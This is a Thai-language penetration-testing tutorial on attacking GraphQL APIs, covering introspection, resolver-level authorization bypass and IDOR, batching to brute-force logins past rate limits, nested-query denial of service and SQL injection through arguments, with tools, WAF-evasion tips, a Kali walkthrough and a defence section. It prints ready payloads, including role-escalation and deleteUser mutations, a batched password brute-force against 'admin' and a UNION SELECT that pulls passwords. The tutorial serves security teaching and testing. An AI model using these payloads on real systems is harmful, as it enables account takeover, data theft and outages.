GraphQL Attacks
GraphQL เป็น query language สำหรับ API ที่ให้ client ระบุข้อมูลที่ต้องการเอง ผ่าน endpoint เดียว ช่องโหว่หลักพบที่ introspection ที่เปิดทิ้งไว้, การข้าม authorization ระดับ field/resolver, IDOR, batching เพื่อ brute/bypass rate limit, DoS จาก nested query และ injection ที่ argument บทนี้ไล่ตั้งแต่การ enumerate schema จนถึงการยกระดับ
1. พื้นฐาน GraphQL
GraphQL มี endpoint เดียว (มัก /graphql) รับ query ที่ client กำหนด field เอง มี 3 operation: query (อ่าน), mutation (เขียน), subscription (realtime) จุดต่างจาก REST คือ schema เปิดเผยโครงสร้างทั้งหมดได้ผ่าน introspection และ authorization ต้องเช็คที่ระดับ field/resolver แต่ละตัว ซึ่งมักพลาด เพราะ dev คิดว่าซ่อน field ใน UI แล้วปลอดภัย
/graphql, /api/graphql, /v1/graphql, /graphql/console, /graphiql (IDE), /playground — ลองทั้ง GET (?query=) และ POST; universal query {__typename} ตอบ = เป็น GraphQL2. Introspection — ดึง schema ทั้งหมด
introspection คือ feature มาตรฐานที่ให้ query โครงสร้าง schema ได้ (types, fields, args, mutations) ถ้าเปิดใน production = แผนที่ทั้งระบบให้ผู้โจมตี
# probe สั้น — เปิดไหม?
{ __schema { queryType { name } } }
# full introspection (ย่อ) — ดึง type + field + args
{ __schema {
queryType { name }
mutationType { name }
types {
name kind
fields { name args { name type { name } } type { name kind } }
}
} }
# ดู field ของ type เดียว
{ __type(name: "User") { name fields { name type { name } } } }# clairvoyance ใช้ error message ("did you mean ...") เดา field ทีละตัว
pip install clairvoyance
python3 -m clairvoyance -o schema.json https://target/graphql
# graphql-cop — audit ช่องโหว่ config อัตโนมัติ
pip install graphql-cop
graphql-cop -t https://target/graphql
# InQL (Burp extension) — introspect + สร้าง query/mutation template ให้3. Authorization bypass และ IDOR
ช่องโหว่พบบ่อยสุดคือ authz เช็คไม่ครบทุก resolver — field ที่ไวต่อข้อมูล (passwordHash, isAdmin, internal note) ตอบกลับมาแม้ผู้ใช้ไม่ควรเห็น; และ IDOR คือ query object ด้วย id ของคนอื่น
# UI ไม่แสดง passwordHash แต่ resolver ไม่ได้เช็ค → ตอบมา
query {
users {
id
username
passwordHash # ไม่ควรอ่านได้ แต่ resolver ลืมเช็ค
email
isAdmin
}
}
# IDOR — ขอ user คนอื่นด้วย id (เหมือน IDOR ทั่วไป)
query {
user(id: 1001) { id username email address }
}# mutation ที่ควรเป็นของ admin แต่เข้าถึงได้
mutation {
updateUser(id: 1337, role: "admin") { id role }
}
mutation {
deleteUser(id: 2) # ลบผู้ใช้อื่น
resetPassword(userId: 3) # reset ของคนอื่น
}4. Batching → bypass rate limit / brute-force
GraphQL ยิงหลาย operation ใน request เดียวได้ 2 แบบ: (1) alias batching — ตั้งชื่อ alias ให้ field ซ้ำใน 1 query, (2) array batching — ส่ง array ของ query ใน JSON เดียว ทั้งคู่ทำให้ rate limit ที่นับ 'ต่อ HTTP request' ถูก bypass เพราะเราส่ง 100 attempt ใน 1 request
mutation {
a1: login(user:"admin", pass:"0001") { token }
a2: login(user:"admin", pass:"0002") { token }
a3: login(user:"admin", pass:"0003") { token }
# ... a9999: login(...) { token }
}
# rate limit นับ 1 request แต่เราลอง 9999 รหัสในนั้น[
{"query":"mutation{login(user:\"admin\",pass:\"p1\"){token}}"},
{"query":"mutation{login(user:\"admin\",pass:\"p2\"){token}}"},
{"query":"mutation{login(user:\"admin\",pass:\"p3\"){token}}"}
]5. DoS (nested query) และ injection
DoS: ถ้า schema มีความสัมพันธ์แบบวน (เช่น post → author → posts → author ...) query ซ้อนลึกทำให้ resolver ทำงานแบบ exponential เซิร์ฟเวอร์ที่ไม่มี depth/cost limit จะล่ม
query {
posts {
author {
posts {
author {
posts {
author { posts { title } }
}
}
}
}
}
}
# ยิ่งซ้อนลึก resolver ยิ่งระเบิด → CPU/DB overloadInjection ที่ argument: ค่าที่ส่งเข้า argument (เช่น filter, id, search) อาจถูกเอาไปต่อ query database ตรงๆ → SQLi/NoSQLi ผ่าน GraphQL ลอง payload injection ปกติใน argument
query {
users(filter: "1' OR '1'='1") { id username }
}
query {
product(category: "x') UNION SELECT username,password FROM users-- ") { name }
}
# ถ้า resolver เอา argument ไปต่อ SQL → error หรือ data รั่ว6. Decision flow
7. เครื่องมือ
- InQL (Burp extension) — introspect, สร้าง query/mutation template, ส่งเข้า Repeater
- graphql-cop — audit misconfiguration (introspection, batching, field suggestion, CSRF)
- clairvoyance — reconstruct schema เมื่อ introspection ปิดแต่ suggestion เปิด
- GraphQL Voyager — visualize schema เป็นกราฟ (เข้าใจ relation → หา nested DoS/IDOR)
- graphw00f — fingerprint GraphQL engine (Apollo, Hasura, graphql-ruby ...) เพื่อรู้ CVE เฉพาะ
- Burp Repeater — ยิง batching/injection payload ปรับมือ
# fingerprint engine
graphw00f -d -t https://target/graphql
# audit config
graphql-cop -t https://target/graphql -o json
# ปิด introspection → เดา schema
python3 -m clairvoyance https://target/graphql -o schema.json
# InQL: Burp → Extensions → InQL → ใส่ URL → generate queries8. ข้อผิดพลาด & troubleshooting
- ลืมลอง GET: POST ถูกปิด/ต้อง CSRF token แต่ GET ?query= เปิด — ลองทั้งคู่
- Content-Type ผิด: บาง server ต้อง application/json, บางตัวรับ application/graphql — ลองสลับ
- introspection ปิดแล้วยอมแพ้: field suggestion มักยังเปิด → clairvoyance ได้
- batching ไม่ทำงาน: server ปิด array batching → ใช้ alias batching แทน
- __typename ทุกที่: ใช้ยืนยัน GraphQL แต่ระวัง WAF ที่ block introspection keyword — ลอง obfuscate/whitespace
- CSRF บน GraphQL: ถ้ารับ GET หรือ x-www-form-urlencoded อาจทำ CSRF ได้ (graphql-cop เช็คให้)
9. การป้องกัน
- ปิด introspection และ field suggestion ใน production
- เช็ค authorization ที่ ทุก resolver/field ไม่ใช่แค่ query root
- ตั้ง query depth limit และ cost/complexity analysis (กัน nested DoS)
- จำกัด/ปิด batching หรือใส่ rate limit ที่นับระดับ operation ไม่ใช่ระดับ HTTP request
- ใช้ parameterized query ใน resolver (กัน SQLi/NoSQLi)
- ปิด GraphiQL/Playground ใน production; ตั้ง CSRF protection (require JSON + custom header)
- ตั้ง timeout + max query size; log query ที่ผิดปกติ (ลึก/ยาว/batching เยอะ)
10. Quick Reference
- หา endpoint: /graphql /graphiql /playground + ลอง GET/POST
- ยืนยัน: {__typename}; introspection: {__schema{types{name}}}
- introspection ปิด → clairvoyance (ผ่าน field suggestion)
- authz bypass + IDOR ที่ระดับ field/resolver (passwordHash, isAdmin)
- batching (alias/array) → bypass rate limit / brute OTP
- nested/circular query → DoS; argument → SQLi/NoSQLi
- เครื่องมือ: InQL, graphql-cop, clairvoyance, Voyager, graphw00f
- ป้องกัน: ปิด introspection+suggestion, authz ทุก resolver, depth/cost limit
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอ endpoint ที่สงสัยว่าเป็น GraphQL (เช่น /graphql หรือ API ที่รับ query แปลกๆ) มีแค่ Kali เปล่าๆ ไล่ตามนี้ทีละขั้น
- 1ยืนยันว่าเป็น GraphQL: curl -s https://target/graphql -X POST -H 'Content-Type: application/json' -d '{"query":"{__typename}"}'
- 2ถ้าไม่ได้ผลลอง path อื่น: /api/graphql, /v1/graphql, /graphiql, /playground และลอง GET ?query= ด้วย
- 3เปิด Burp Suite → Extensions → BApp Store → ติดตั้ง 'InQL' (ฟรี)
- 4ใน InQL ใส่ URL endpoint แล้วให้มัน introspect schema และสร้าง query/mutation template ให้อัตโนมัติ
- 5ถ้า introspection ปิด ให้ลอง: pip install clairvoyance แล้ว python3 -m clairvoyance -o schema.json https://target/graphql
- 6ไล่ดู query/mutation ที่ InQL สร้างให้ หา field ที่ไวต่อข้อมูล (password, token, isAdmin, secret)
- 7ยิง query ที่ขอ field เหล่านั้นตรงๆ ผ่าน Burp Repeater ดูว่า resolver เช็ค authorization ไหม
- 8ทดสอบ IDOR: เปลี่ยน id ใน query เป็นของผู้ใช้อื่น (query { user(id: 1001) { email } })
- 9ทดสอบ rate-limit bypass: ใช้ alias batching ยิงหลาย login/mutation ใน request เดียว (a1: login(...) a2: login(...))
- 10ถ้าเจอ argument ที่รับ string อิสระ ลองยิง payload SQLi พื้นฐาน ('1' OR '1'='1) ดู error message
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| introspect + สร้าง query/mutation template | Burp Suite Community | InQL (BApp Store) | - |
| เดา schema เมื่อ introspection ปิด | - | pip install clairvoyance | - |
| audit config/misconfig อัตโนมัติ | - | pip install graphql-cop | - |
| fingerprint GraphQL engine | - | git clone dolevf/graphw00f | - |
| visualize schema เป็นกราฟ | - | - | graphql-voyager |
| ยิง alias batching / injection ด้วยมือ | Burp Repeater/Intruder | - | - |
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้